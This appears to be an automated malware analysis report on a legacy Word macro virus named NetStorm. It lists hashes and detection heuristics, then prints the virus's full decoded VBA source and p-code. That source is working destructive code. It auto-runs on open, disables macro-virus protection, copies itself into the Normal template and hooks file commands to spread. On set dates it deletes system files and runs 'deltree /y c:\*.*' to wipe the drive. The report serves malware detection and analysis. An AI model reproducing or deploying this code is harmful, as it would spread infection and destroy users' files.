Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 575010b804c3c1d1…

MALICIOUS

Office (OLE)

32.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 18b90b942e80fc42990e2febba486980 SHA-1: a6f018bcf787d1b18074e77d8c22f8b7614ea4f8 SHA-256: 575010b804c3c1d1b4fa698535f96d5465771245fd8f21971d9788a7618f0466
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This document contains legacy WordBasic macro code, specifically an AutoOpen macro, which is designed to copy itself to the Normal template and execute a payload via the NetKiller subroutine. The presence of legacy macro markers and the AutoOpen function strongly suggests a malicious document intended to spread malware. The ClamAV detection of 'Doc.Trojan.Storm-5' further supports this assessment.

Heuristics 6

  • ClamAV: Doc.Trojan.Storm-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Storm-5
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    If Mid(Date, 1, 2) = "13" Then Shell "deltree /y c:\*.* > null"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11229 bytes
SHA-256: ffb024a7a772e600d2349475f3bfe5a54b338ad761bb1c6b5da9cdcb5d012c2d
Detection
ClamAV: Doc.Trojan.Storm-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NetStorm"
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorInfectGlobalTemplate
If (CheckInfected = 0) Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="NetStorm", Object:=wdOrganizerObjectProjectItems
End If
ErrorInfectGlobalTemplate:
Call NetKiller
End Sub
Function CheckInfected()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
CheckInfected = 0
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
If WordBasic.[MacroName$](i, 0) = "NetStorm" Then
    CheckInfected = -1
End If
Next i
End Function
Sub FileOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo InfError
    Dialogs(wdDialogFileOpen).Show
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NetStorm", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
InfError:
Call NetKiller
End Sub
Sub FileNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo InfError
    Dialogs(wdDialogFileNew).Show
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NetStorm", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
InfError:
Call NetKiller
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo InfError
    Dialogs(wdDialogFileSaveAs).Show
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NetStorm", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
InfError:
Call NetKiller
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Dim Message, Title, Default, MyValue
Message = "New VBAProject _name:"
Title = "Microsoft Visual Basic"
Default = "NewVBAProject"
MyValue = InputBox(Message, Title, Default)
If MyValue = "braincoma" Then
ShowVisualBasicEditor = True
GoTo ErrorVVBC
End If
Options.VirusProtection = False
On Error GoTo ErrorVVBC
MsgBox "Not enough memory to perform this operation", vbCritical + vbOKOnly + vbMsgBoxHelpButton + vbDefaultButton2, "Microsoft Word"
ErrorVVBC:
End Sub
Sub NetKiller()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
If Mid(Time, 1, 2) = "13" Then MsgBox "Take it easy, lamer !", Title:="Net Storm"
If Mid(Time, 1, 2) = "19" Then MsgBox "Go home, lamer !", Title:="Net Storm"
If Mid(Date, 1, 2) = "10" Then Kill "c:\autoexec.bat"
If Mid(Date, 1, 2) = "11" Then Kill "c:\config.sys"
If Mid(Date, 1, 2) = "12" Then Kill "c:\command.com"
If Mid(Date, 1, 2) = "13" Then Shell "deltree /y c:\*.* > null"
End Sub

Attribute VB_Name = "NewMacros"

' Processing file: /tmp/qstore_fpbblx6w
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/NetStorm - 5187 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	OnError ErrorInfectGlobalTemplate 
' Line #5:
' 	Ld CheckInfected 
' 	LitDI2 0x0000 
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #6:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "NetStorm"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #7:
' 	EndIfBlock 
' Line #8:
' 	Label ErrorInfectGlobalTemplate 
' Line #9:
' 	ArgsCall (Call) NetKiller 0x0000 
' Line #10:
' 	EndSub 
' Line #11:
' 	FuncDefn (Function CheckInfected())
' Line #12:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #13:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #14:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #15:
' 	LitDI2 0x0000 
' 	St CheckInfected 
' Line #16:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #17:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #18:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0008 "NetStorm"
' 	Eq 
' 	IfBlock 
' Line #19:
' 	LitDI2 0x0001 
' 	UMi 
' 	St CheckInfected 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #22:
' 	EndFunc 
' Line #23:
' 	FuncDefn (Sub FileOpen())
' Line #24:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #25:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #26:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #27:
' 	OnError InfError 
' Line #28:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #29:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "NetStorm"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #30:
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #31:
' 	Label InfError 
' Line #32:
' 	ArgsCall (Call) NetKiller 0x0000 
' Line #33:
' 	EndSub 
' Line #34:
' 	FuncDefn (Sub FileNew())
' Line #35:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #36:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #37:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #38:
' 	OnError InfError 
' Line #39:
' 	Ld wdDialogFileNew 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #40:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "NetStorm"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #41:
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #42:
' 	Label InfError 
' Line #43:
' 	ArgsCall (Call) NetKiller 0x0000 
' Line #44:
' 	EndSub 
' Line #45:
' 	FuncDefn (Sub FileSaveAs())
' Line #46:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #47:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #48:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #49:
' 	OnError InfError 
' Line #50:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #51:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "NetStorm"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #52:
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #53:
' 	Label InfError 
' Line #54:
' 	ArgsCall (Call) NetKiller 0x0000 
' Line #55:
' 	EndSub 
' Line #56:
' 	FuncDefn (Sub ViewVBCode())
' Line #57:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #58:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #59:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #60:
' 	Dim 
' 	VarDefn Message
' 	VarDefn Title
' 	VarDefn Default
' 	VarDefn MyValue
' Line #61:
' 	LitStr 0x0015 "New VBAProject _name:"
' 	St Message 
' Line #62:
' 	LitStr 0x0016 "Microsoft Visual Basic"
' 	St Title 
' Line #63:
' 	LitStr 0x000D "NewVBAProject"
' 	St Default 
' Line #64:
' 	Ld Message 
' 	Ld Title 
' 	Ld Default 
' 	ArgsLd InputBox 0x0003 
' 	St MyValue 
' Line #65:
' 	Ld MyValue 
' 	LitStr 0x0009 "braincoma"
' 	Eq 
' 	IfBlock 
' Line #66:
' 	LitVarSpecial (True)
' 	St ShowVisualBasicEditor 
' Line #67:
' 	GoTo ErrorVVBC 
' Line #68:
' 	EndIfBlock 
' Line #69:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #70:
' 	OnError ErrorVVBC 
' Line #71:
' 	LitStr 0x002B "Not enough memory to perform this operation"
' 	Ld vbCritical 
' 	Ld vbOKOnly 
' 	Add 
' 	Ld vbMsgBoxHelpButton 
' 	Add 
' 	Ld vbDefaultButton2 
' 	Add 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #72:
' 	Label ErrorVVBC 
' Line #73:
' 	EndSub 
' Line #74:
' 	FuncDefn (Sub NetKiller())
' Line #75:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #76:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #77:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #78:
' 	Ld Time 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0002 "13"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0015 "Take it easy, lamer !"
' 	LitStr 0x0009 "Net Storm"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' 	EndIf 
' Line #79:
' 	Ld Time 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0002 "19"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0010 "Go home, lamer !"
' 	LitStr 0x0009 "Net Storm"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' 	EndIf 
' Line #80:
' 	Ld Date 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0002 "10"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000F "c:\autoexec.bat"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #81:
' 	Ld Date 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0002 "11"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000D "c:\config.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #82:
' 	Ld Date 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0002 "12"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000E "c:\command.com"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #83:
' 	Ld Date 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0002 "13"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0018 "deltree /y c:\*.* > null"
' 	ArgsCall Shell 0x0001 
' 	EndIf 
' Line #84:
' 	EndSub

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